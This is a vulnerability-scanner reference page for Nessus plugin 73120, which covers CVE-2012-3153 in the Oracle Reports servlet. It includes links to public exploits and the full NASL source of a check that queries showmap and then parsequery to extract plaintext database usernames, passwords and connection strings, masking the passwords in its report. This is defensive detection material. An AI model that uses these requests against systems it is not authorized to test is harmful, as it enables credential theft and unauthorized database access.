Oracle Reports Servlet Parsequery Function Remote Database Credentials Exposure - Nessus

Medium   Plugin ID: 73120

This page contains detailed information about the Oracle Reports Servlet Parsequery Function Remote Database Credentials Exposure Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 73120
Name: Oracle Reports Servlet Parsequery Function Remote Database Credentials Exposure
Filename: oracle_reports_password_disclosure.nasl
Vulnerability Published: 2012-10-16
This Plugin Published: 2014-03-20
Last Modification Time: 2022-04-11
Plugin Version: 1.10
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: oracle_reports_detect.nbin
Required KB Items [?]: www/oracle_reports

Vulnerability Information


Severity: Medium
Vulnerability Published: 2012-10-16
Patch Published: 2012-10-16
CVE [?]: CVE-2012-3153
CPE [?]: cpe:/a:oracle:fusion_middleware

Synopsis

The remote host is running a web application that exposes database credentials.

Description

Nessus was able to exploit a flaw in the Oracle Reports servlet parsequery function, and was able to retrieve the plaintext database credentials for one or more users. A remote attacker can exploit this vulnerability to gain unauthorized database access.

Solution

Apply the appropriate patch per the vendor's advisory.

Public Exploits


Target Network Port(s): 8888
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, GitHub)
Exploit Ease: No exploit is required

Here's the list of publicly known exploits and PoCs for verifying the Oracle Reports Servlet Parsequery Function Remote Database Credentials Exposure vulnerability:

  1. Metasploit: exploit/multi/http/oracle_reports_rce
    [Oracle Forms and Reports Remote Code Execution]
  2. Exploit-DB: exploits/jsp/remote/31253.rb
    [EDB-31253: Oracle Forms and Reports 11.1 - Arbitrary Code Execution]
  3. Exploit-DB: exploits/windows/remote/31737.rb
    [EDB-31737: Oracle Forms and Reports - Remote Code Execution (Metasploit)]
  4. GitHub: https://github.com/Mekanismen/pwnacle-fusion
    [CVE-2012-3153: Automated exploit for CVE-2012-3153 / CVE-2012-3152]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS Score Source [?]: CVE-2012-3153
CVSS V2 Vector: AV:N/AC:L/Au:N/C:P/I:P/A:N/E:POC/RL:OF/RC:C
CVSS Base Score:6.4 (Medium)
Impact Subscore:4.9
Exploitability Subscore:10.0
CVSS Temporal Score:5.0 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:5.0 (Medium)

Go back to menu.

Plugin Source


This is the oracle_reports_password_disclosure.nasl nessus plugin source code. This script is Copyright (C) 2014-2022 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(73120);
  script_version("1.10");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2012-3153");
  script_bugtraq_id(55961);
  script_xref(name:"EDB-ID", value:"31253");

  script_name(english:"Oracle Reports Servlet Parsequery Function Remote Database Credentials Exposure");

  script_set_attribute(attribute:"synopsis", value:
"The remote host is running a web application that exposes database
credentials.");
  script_set_attribute(attribute:"description", value:
"Nessus was able to exploit a flaw in the Oracle Reports servlet
parsequery function, and was able to retrieve the plaintext database
credentials for one or more users. A remote attacker can exploit this
vulnerability to gain unauthorized database access.");
  # http://blog.netinfiltration.com/2013/11/03/oracle-reports-cve-2012-3152-and-cve-2012-3153/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?c969a07f");
  # https://www.oracle.com/technetwork/topics/security/cpuoct2012-1515893.html
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?87547c81");
  script_set_attribute(attribute:"solution", value:
"Apply the appropriate patch per the vendor's advisory.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2012-3153");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Oracle Forms and Reports Remote Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2012/10/16");
  script_set_attribute(attribute:"patch_publication_date", value:"2012/10/16");
  script_set_attribute(attribute:"plugin_publication_date", value:"2014/03/20");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:oracle:fusion_middleware");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2014-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("oracle_reports_detect.nbin");
  script_require_keys("www/oracle_reports");
  script_require_ports("Services/www", 8888);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

appname = "Oracle Reports";

port = get_http_port(default:8888);

install = get_install_from_kb(
  appname:'oracle_reports',
  port:port,
  exit_on_fail:TRUE
);

# try and obtain a list of keymaps
show_keymaps_uri = install['dir'] + '/rwservlet/showmap';

res = http_send_recv3(method:"GET",
                      item:show_keymaps_uri,
                      port:port,
                      exit_on_fail:TRUE);


if ("Reports Servlet Key Map" >!< res[2]) exit(0, "Unable to access Oracle Reports showmap function via "+build_url(port:port, qs:show_keymaps_uri)+".");

lines = split(res[2], sep:'\n', keep:FALSE);

count = 0;

custom_keymaps = make_list();

ignorable_keymaps = make_list(
  '%ENV_NAME%',
  'barcodepaper',
  'barcodeweb',
  'breakbparam',
  'charthyperlink_ias',
  'charthyperlink_ids',
  'distributionpaper',
  'express',
  'orqa',
  'parmformjsp',
  'pdfenhancements',
  'report_defaultid',
  'report_secure',
  'run',
  'runp',
  'tutorial',
  'xmldata'
);

# get a list of non-default custom keymaps
foreach line (lines)
{
  if ("OraInstructionText" >!< line) continue;

  # table contains name the value, we want to skip over the values
  count++;
  if (!(count%2)) continue;

  item = eregmatch(pattern:"OraInstructionText>([^<]+)<", string:line);
  if (!isnull(item) && !isnull(item[1]))
  {
    keymap = chomp(item[1]);

    ignore = FALSE;
    foreach map (ignorable_keymaps)
      if (map == keymap) ignore = TRUE;
    if (!ignore)
      custom_keymaps = make_list(custom_keymaps, keymap);
  }
}

if (max_index(custom_keymaps) == 0) exit(0, "Failed to access Oracle Reports showmap function at "+build_url(port:port, qs:show_keymaps_uri)+".");

report = '';

parsequery_uri = install['dir'] + '/rwservlet/parsequery?';

foreach map (custom_keymaps)
{
  res = http_send_recv3(method:"GET",
                        item:parsequery_uri + map,
                        port:port,
                        exit_on_fail:TRUE);

  item = eregmatch(pattern:"userid=([^/]+)/([^@]+)@([^ \t]+)([ \t]|$)",
                   string:res[2]);
  if (!isnull(item) && !isnull(item[1]) && !isnull(item[2]) && !isnull(item[3]))
  {
    pass = chomp(item[2]);

    # mask actual password except for first and last characters.
    if (strlen(pass) < 2) pass = crap(data:'*', length:6);
    else pass = strcat(pass[0], crap(data:'*', length:6), pass[strlen(pass)-1]);

    report += '\n  Username : ' + data_protection::sanitize_user_enum(users:chomp(item[1])) +
              '\n  Password : ' + pass +
              '\n  Database : ' + chomp(item[3]) + '\n';
  }
}

if (report != '')
{
  report = '\nNessus was able to enumerate the following logins : \n' + report;
  if (report_verbosity > 0) security_warning(port:port, extra:report);
  else security_warning(port);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, "Oracle Reports", build_url(port:port, qs:install['dir'] + '/rwservlet'));

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/oracle_reports_password_disclosure.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\oracle_reports_password_disclosure.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/oracle_reports_password_disclosure.nasl

Go back to menu.

How to Run


Here is how to run the Oracle Reports Servlet Parsequery Function Remote Database Credentials Exposure as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select Oracle Reports Servlet Parsequery Function Remote Database Credentials Exposure plugin ID 73120.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl oracle_reports_password_disclosure.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a oracle_reports_password_disclosure.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - oracle_reports_password_disclosure.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state oracle_reports_password_disclosure.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 73119 - Oracle Reports Servlet Remote File Access
  • 145245 - Oracle Primavera P6 Enterprise Project Portfolio Management (Jan 2021 CPU)
  • 145569 - Oracle Primavera Unifier (Jan 2021 CPU)
  • 148916 - Oracle Primavera Gateway (Apr 2021 CPU)
  • 148918 - Oracle Primavera Unifier (Apr 2021 CPU)
  • 151973 - Oracle Primavera Unifier (Jul 2021 CPU)
  • 151974 - Oracle Primavera Gateway (Jul 2021 CPU)
  • 154262 - Oracle Primavera Unifier (Oct 2021 CPU)
  • 154297 - Oracle Primavera Gateway (Oct 2021 CPU)
  • 156832 - Oracle Primavera Unifier (Jan 2022 CPU)
  • 156891 - Oracle Primavera P6 Enterprise Project Portfolio Management (Jan 2022 CPU)
  • 156893 - Oracle Primavera Gateway (Jan 2022 CPU)
  • 159919 - Oracle Primavera Unifier (Apr 2022 CPU)
  • 35363 - Oracle Secure Backup Administration Server login.php Arbitrary Command Injection
  • 47747 - Oracle Secure Backup Administration Server login.php Authentication Bypass
  • 69478 - Oracle WebCenter Content (April 2013 CPU)
  • 69479 - Oracle WebCenter Content (July 2013 CPU)
  • 73119 - Oracle Reports Servlet Remote File Access
  • 78603 - Oracle Endeca Information Discovery Studio Multiple Vulnerabilities (October 2014 CPU)
  • 78749 - Oracle Enterprise Data Quality Multiple Vulnerabilities (October 2014 CPU)
  • 78776 - Oracle Business Transaction Management 'FlashTunnelService' 'WriteToFile' Message RCE

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file oracle_reports_password_disclosure.nasl version 1.10. For more plugins, visit the Nessus Plugin Library.

Go back to menu.